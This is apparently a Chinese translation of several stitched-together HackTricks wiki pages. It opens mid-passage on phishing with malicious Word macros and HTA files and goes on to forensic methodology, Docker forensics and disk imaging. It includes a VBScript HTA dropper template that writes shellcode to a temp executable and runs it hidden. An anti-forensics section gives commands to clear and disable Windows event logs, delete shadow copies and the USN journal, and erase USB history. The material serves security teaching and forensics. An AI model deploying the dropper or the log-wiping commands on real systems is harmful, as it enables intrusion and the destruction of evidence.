转到 **文件 > 信息 > 检查文档 > 检查文档**，这将打开文档检查器。单击 **检查**，然后单击 **文档属性和个人信息** 旁边的 **全部删除**。

#### 文档扩展名

完成后，选择 **另存为类型** 下拉菜单，将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
这样做是因为你 **无法将宏保存在 `.docx` 中**，而且对于启用宏的 **`.docm`** 扩展名存在 **污名**（例如，缩略图图标上有一个巨大的 `!`，一些网络/电子邮件网关会完全阻止它们）。因此，这个 **传统的 `.doc` 扩展名是最好的折衷方案**。

#### 恶意宏生成器

* MacOS
* [**macphish**](https://github.com/cldrn/macphish)
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)

## HTA 文件

HTA 是一个 **结合了 HTML 和脚本语言（如 VBScript 和 JScript）** 的 Windows 程序。它生成用户界面并作为一个“完全受信任”的应用程序执行，没有浏览器安全模型的限制。

HTA 使用 **`mshta.exe`** 执行，通常 **与 Internet Explorer 一起安装**，使 **`mshta` 依赖于 IE**。因此，如果 IE 被卸载，HTA 将无法执行。

```html
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
```

```html
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>
```

## 强制 NTLM 认证

有几种**远程强制 NTLM 认证**的方法，例如，您可以向电子邮件或 HTML 添加**不可见图像**，用户将访问这些图像（甚至可能是 HTTP 中间人攻击？）。或者向受害者发送**文件地址**，只需**打开文件夹**就会**触发**认证。

**在以下页面中查看这些想法和更多内容：**

{% content-ref url="/pages/4DFfuVV4quMkp6CjmxLf" %}
[Force NTLM Privileged Authentication](/windows-hardening/active-directory-methodology/printers-spooler-service-abuse)
{% endcontent-ref %}

{% content-ref url="/pages/tYuogQbto0lALiUzuFX1" %}
[Places to steal NTLM creds](/windows-hardening/ntlm/places-to-steal-ntlm-creds)
{% endcontent-ref %}

### NTLM 中继

不要忘记，您不仅可以窃取哈希或认证，还可以**执行 NTLM 中继攻击**：

* [**NTLM 中继攻击**](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks#ntml-relay-attack)
* [**AD CS ESC8（NTLM 中继到证书）**](/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#ntlm-relay-to-ad-cs-http-endpoints-esc8)

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在**HackTricks 中宣传您的公司**？ 或者想要访问**PEASS 的最新版本或下载 PDF 版本的 HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我\*\*。
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。

</details>


# Basic Forensic Methodology

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要在HackTricks中看到您的**公司广告**吗？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。

</details>

## 创建和挂载镜像

{% content-ref url="/pages/fYXFr611WCdQcIJ8h5bp" %}
[Image Acquisition & Mount](/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount)
{% endcontent-ref %}

## 恶意软件分析

这**不一定是在获得镜像后执行的第一步**。但是，如果您有文件、文件系统镜像、内存镜像、pcap等，您可以独立使用这些恶意软件分析技术，因此**记住这些操作**是很有用的：

{% content-ref url="/pages/AFkJWcUpYjxhknRqk3TL" %}
[Malware Analysis](/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis)
{% endcontent-ref %}

## 检查镜像

如果您获得了设备的**取证镜像**，您可以开始**分析分区、使用的文件系统**并**恢复**可能**有趣的文件**（甚至是已删除的文件）。在以下位置了解如何操作：

{% content-ref url="/pages/FEphlNPNIgkls7yGdCKs" %}
[Partitions/File Systems/Carving](/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving)
{% endcontent-ref %}

根据使用的操作系统甚至平台，应搜索不同的有趣的证据：

{% content-ref url="/pages/ykoz3zsbAu4erV7CUmJj" %}
[Windows Artifacts](/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics)
{% endcontent-ref %}

{% content-ref url="/pages/oVsJSNoFq5w0kOSy2srd" %}
[Linux Forensics](/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics)
{% endcontent-ref %}

{% content-ref url="/pages/iSvAMqfYjXgL23HhGhzF" %}
[Docker Forensics](/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics)
{% endcontent-ref %}

## 对特定文件类型和软件进行深入检查

如果您有一个非常**可疑的文件**，那么**根据文件类型和创建它的软件**，可能会有几种**技巧**很有用。\
阅读以下页面以了解一些有趣的技巧：

{% content-ref url="/pages/pI9JRjls0cc8aKSAoJq9" %}
[Specific Software/File-Type Tricks](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks)
{% endcontent-ref %}

我想特别提到页面：

{% content-ref url="/pages/8iPu0c7ZAsqDdLY0ln1K" %}
[Browser Artifacts](/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts)
{% endcontent-ref %}

## 内存转储检查

{% content-ref url="/pages/4o8Zq3oXwodn8ODQ5U81" %}
[Memory dump analysis](/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis)
{% endcontent-ref %}

## Pcap检查

{% content-ref url="/pages/bXoxFFucoHBjvTCp3rvP" %}
[Pcap Inspection](/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection)
{% endcontent-ref %}

## **反取证技术**

请记住可能使用反取证技术：

{% content-ref url="/pages/lL3dDwWomcJ2QxppRKJJ" %}
[Anti-Forensic Techniques](/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques)
{% endcontent-ref %}

## 威胁猎杀

{% content-ref url="/pages/3YukXsWK5ozpKZSdy5FA" %}
[Baseline Monitoring](/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring)
{% endcontent-ref %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要在HackTricks中看到您的**公司广告**吗？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。

</details>


# Baseline Monitoring

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基线

基线包括对系统的某些部分进行快照，以便**将来与之进行比较以突出变化**。

例如，您可以计算并存储文件系统中每个文件的哈希值，以便找出哪些文件已被修改。\
还可以对创建的用户帐户、运行的进程、运行的服务以及任何其他不应该或根本不应该发生太多变化的事物进行此操作。

### 文件完整性监控

文件完整性监控（FIM）是一种关键的安全技术，通过跟踪文件的更改来保护IT环境和数据。它包括两个关键步骤：

1. **基线比较：** 使用文件属性或加密校验和（如MD5或SHA-2）建立基线，以便将来进行比较以检测修改。
2. **实时更改通知：** 当文件被访问或更改时立即收到警报，通常通过操作系统内核扩展。

### 工具

* <https://github.com/topics/file-integrity-monitoring>
* <https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software>

## 参考资料

* <https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Anti-Forensic Techniques

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 时间戳

攻击者可能有兴趣**更改文件的时间戳**以避免被检测。\
可以在MFT中的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。

这两个属性都有4个时间戳：**修改**，**访问**，**创建**和**MFT注册修改**（MACE或MACB）。

**Windows资源管理器**和其他工具显示来自\*\*`$STANDARD_INFORMATION`\*\*的信息。

### TimeStomp - 反取证工具

该工具**修改**了\*\*`$STANDARD_INFORMATION`**中的时间戳信息**但是**没有修改**`$FILE_NAME`**中的信息。因此，可以**识别**出**可疑**的**活动\*\*。

### Usnjrnl

**USN日志**（更新序列号日志）是NTFS（Windows NT文件系统）的一个功能，用于跟踪卷的更改。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-f6f32a29a188879b5f0bf478deb3dc7fd765eb86%2Fimage%20\(449\).png?alt=media)

上图是该**工具显示的输出**，可以观察到对文件进行了一些**更改**。

### $LogFile

**文件系统中所有元数据更改都会被记录**，这个过程称为[预写式日志记录](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中，位于NTFS文件系统的根目录中。可以使用诸如[LogFileParser](https://github.com/jschicht/LogFileParser)之类的工具来解析此文件并识别更改。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-07d2d492041a0647a7f7cce3ea62b52c22a18304%2Fimage%20\(450\).png?alt=media)

再次，在工具的输出中，可以看到**进行了一些更改**。

使用相同的工具，可以确定**时间戳何时被修改**：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e5213761ae6dc09e740ccc61f6f27923703352eb%2Fimage%20\(451\).png?alt=media)

* CTIME：文件的创建时间
* ATIME：文件的修改时间
* MTIME：文件的MFT注册修改时间
* RTIME：文件的访问时间

### `$STANDARD_INFORMATION`和`$FILE_NAME`比较

另一种识别可疑修改文件的方法是比较两个属性上的时间，寻找**不匹配**。

### 纳秒

**NTFS**时间戳的**精度**为**100纳秒**。因此，找到时间戳为2010-10-10 10:10:**00.000:0000的文件是非常可疑的**。

### SetMace - 反取证工具

该工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。但是，从Windows Vista开始，需要一个实时操作系统来修改此信息。

## 数据隐藏

NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用一个半簇，**剩余的一半将永远不会被使用**，直到文件被删除。因此，可以**在这个空闲空间中隐藏数据**。

有一些工具如slacker允许在这个“隐藏”空间中隐藏数据。然而，对`$logfile`和`$usnjrnl`的分析可以显示添加了一些数据：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-92ca769d8c886ab83c935095abdca2b3a5b92ddd%2Fimage%20\(452\).png?alt=media)

因此，可以使用FTK Imager等工具检索空闲空间。请注意，这种工具可以保存内容混淆或甚至加密。

## UsbKill

这是一个工具，如果检测到USB端口发生任何更改，将**关闭计算机**。\
发现这一点的方法是检查运行的进程并**查看每个运行的Python脚本**。

## 实时Linux发行版

这些发行版是**在RAM内存中执行**的。唯一的检测方法是**如果NTFS文件系统以写权限挂载**。如果只以读权限挂载，将无法检测入侵。

## 安全删除

<https://github.com/Claudio-C/awesome-data-sanitization>

## Windows配置

可以禁用几种Windows日志记录方法，使取证调查变得更加困难。

### 禁用时间戳 - UserAssist

这是一个维护用户运行每个可执行文件的日期和时间的注册表键。

禁用UserAssist需要两个步骤：

1. 设置两个注册表键，`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`，都设置为零，以表示我们要禁用UserAssist。
2. 清除类似`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`的注册表子树。

### 禁用时间戳 - Prefetch

这将保存有关执行的应用程序的信息，目的是提高Windows系统的性能。但是，这也对取证实践有用。

* 执行`regedit`
* 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* 右键单击`EnablePrefetcher`和`EnableSuperfetch`
* 对每个进行修改，将值从1（或3）更改为0
* 重新启动

### 禁用时间戳 - 最后访问时间

每当从Windows NT服务器的NTFS卷上打开文件夹时，系统会花费时间**更新列出的每个文件夹上的时间戳字段**，称为最后访问时间。在使用频繁的NTFS卷上，这可能会影响性能。

1. 打开注册表编辑器（Regedit.exe）。
2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
3. 查找`NtfsDisableLastAccessUpdate`。如果不存在，请添加此DWORD并将其值设置为1，以禁用该过程。
4. 关闭注册表编辑器，并重新启动服务器。

### 删除USB历史记录

所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表键下，其中包含每次将USB设备插入PC或笔记本电脑时创建的子键。您可以在此处找到此键 H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此**将删除USB历史记录。\
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保已删除它们（并删除它们）。

保存有关USB的信息的另一个文件是`C:\Windows\INF`中的文件`setupapi.dev.log`。这也应该被删除。

### 禁用阴影副本

使用`vssadmin list shadowstorage`**列出**阴影副本\
运行`vssadmin delete shadow`**删除**它们

您还可以按照<https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html>中提出的步骤通过GUI删除它们。

要禁用阴影副本[这里的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):

1. 通过在Windows开始按钮上单击文本搜索框后键入“services”来打开服务程序。
2. 从列表中找到“Volume Shadow Copy”，选择它，然后通过右键单击访问属性。
3. 从“启动类型”下拉菜单中选择“禁用”，然后通过单击应用和确定来确认更改。

还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改要复制的文件的配置。

### 覆盖已删除的文件

* 您可以使用一个**Windows工具**：`cipher /w:C` 这将指示cipher从C驱动器中的可用未使用磁盘空间中删除任何数据。
* 您还可以使用诸如[**Eraser**](https://eraser.heidi.ie)之类的工具

### 删除Windows事件日志

* Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别并选择“清除日志”
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`

### 禁用Windows事件日志

* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* 在服务部分禁用服务“Windows事件日志”
* `WEvtUtil.exec clear-log` 或 `WEvtUtil.exe cl`

### 禁用$UsnJrnl

* `fsutil usn deletejournal /d c:`


# Docker Forensics

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 容器修改

有人怀疑某个Docker容器已被入侵：

```bash
docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
cc03e43a052a        lamp-wordpress      "./run.sh"          2 minutes ago       Up 2 minutes        80/tcp              wordpress
```

您可以轻松地使用以下命令查找有关此容器对镜像所做修改：

```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```

在上一个命令中，**C** 代表 **Changed**，**A** 代表 **Added**。\
如果你发现一些有趣的文件，比如 `/etc/shadow` 被修改了，你可以从容器中下载它，以检查是否存在恶意活动：

```bash
docker cp wordpress:/etc/shadow.
```

您还可以通过运行一个新容器并从中提取文件来**与原始文件进行比较**：

```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```

如果发现**添加了一些可疑文件**，您可以访问容器并进行检查：

```bash
docker exec -it wordpress bash
```

## 图像修改

当您获得一个导出的 Docker 镜像（可能是 `.tar` 格式）时，您可以使用 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) 来 **提取修改的摘要**：

```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```

然后，您可以**解压**图像并**访问 blobs**，以搜索您在更改历史记录中发现的可疑文件：

```bash
tar -xf image.tar
```

### 基本分析

您可以从运行的镜像中获取**基本信息**：

```bash
docker inspect <image>
```

您还可以使用以下命令获取**更改历史记录摘要**：

```bash
docker history --no-trunc <image>
```

您还可以使用以下命令从镜像生成**dockerfile**：

```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```

### Dive

为了找到 Docker 镜像中添加/修改的文件，您还可以使用 [**dive**](https://github.com/wagoodman/dive)（从 [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) 下载）实用程序：

```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar                                                                                                                                                                                                         1 ⨯
Loaded image: flask:latest

#And then open it with dive:
sudo dive flask:latest
```

这使您能够**浏览Docker镜像的不同blob**，并检查哪些文件已被修改/添加。**红色**表示已添加，**黄色**表示已修改。使用**tab**键切换到其他视图，使用**空格**键折叠/打开文件夹。

使用die，您将无法访问镜像不同阶段的内容。要这样做，您需要**解压缩每个层并访问它**。\
您可以从解压缩镜像的目录中解压缩图像的所有层，执行：

```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```

## 从内存中获取凭据

请注意，当您在主机内运行一个docker容器时，**您可以从主机上运行`ps -ef`命令来查看容器中运行的进程**

因此（作为root用户）您可以从主机中**转储进程的内存**，并搜索凭据，就像[**以下示例**](/linux-hardening/privilege-escalation#process-memory)中一样。


# Image Acquisition & Mount

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在HackTricks中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

## 获取

### DD

```bash
#This will generate a raw copy of the disk
dd if=/dev/sdb of=disk.img
```

### dcfldd

### dcfldd

```bash
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```

### FTK Imager

您可以从[这里下载FTK Imager](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。

```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
```

### EWF

您可以使用[**ewf工具**](https://github.com/libyal/libewf)生成磁盘映像。

```bash
ewfacquire /dev/sdb
#Name: evidence
#Case number: 1
#Description: A description for the case
#Evidence number: 1
#Examiner Name: Your name
#Media type: fixed
#Media characteristics: physical
#File format: encase6
#Compression method: deflate
#Compression level: fast

#Then use default values
#It will generate the disk image in the current directory
```

## 挂载

### 几种类型

在**Windows**中，您可以尝试使用Arsenal Image Mounter的免费版本（<https://arsenalrecon.com/downloads/>）来**挂载取证镜像**。

### Raw

```bash
#Get file type
file evidence.img
evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b82b280cf299 (extents) (64bit) (large files) (huge files)

#Mount it
mount evidence.img /mnt
```

### EWF

### EWF

```bash
#Get file type
file evidence.E01
evidence.E01: EWF/Expert Witness/EnCase image file format

#Transform to raw
mkdir output
ewfmount evidence.E01 output/
file output/ewf1
output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files)

#Mount
mount output/ewf1 -o ro,norecovery /mnt
```

### ArsenalImageMounter

这是一个用于挂载卷的Windows应用程序。您可以在这里下载它 <https://arsenalrecon.com/downloads/>

### 错误

* **`无法以只读方式挂载 /dev/loop0`** 在这种情况下，您需要使用标志 **`-o ro,norecovery`**
* **`错误的文件系统类型，错误的选项，/dev/loop0 上的错误的超级块，缺少代码页或辅助程序，或其他错误。`** 在这种情况下，挂载失败是因为文件系统的偏移量与磁盘映像的偏移量不同。您需要找到扇区大小和起始扇区：

```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00495395

Device        Boot Start    End Sectors  Size Id Type
disk.img1       2048 208895  206848  101M  1 FAT12
```

注意，扇区大小为**512**，起始位置为**2048**。然后按照以下方式挂载镜像：

```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要在**HackTricks中宣传你的公司**？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
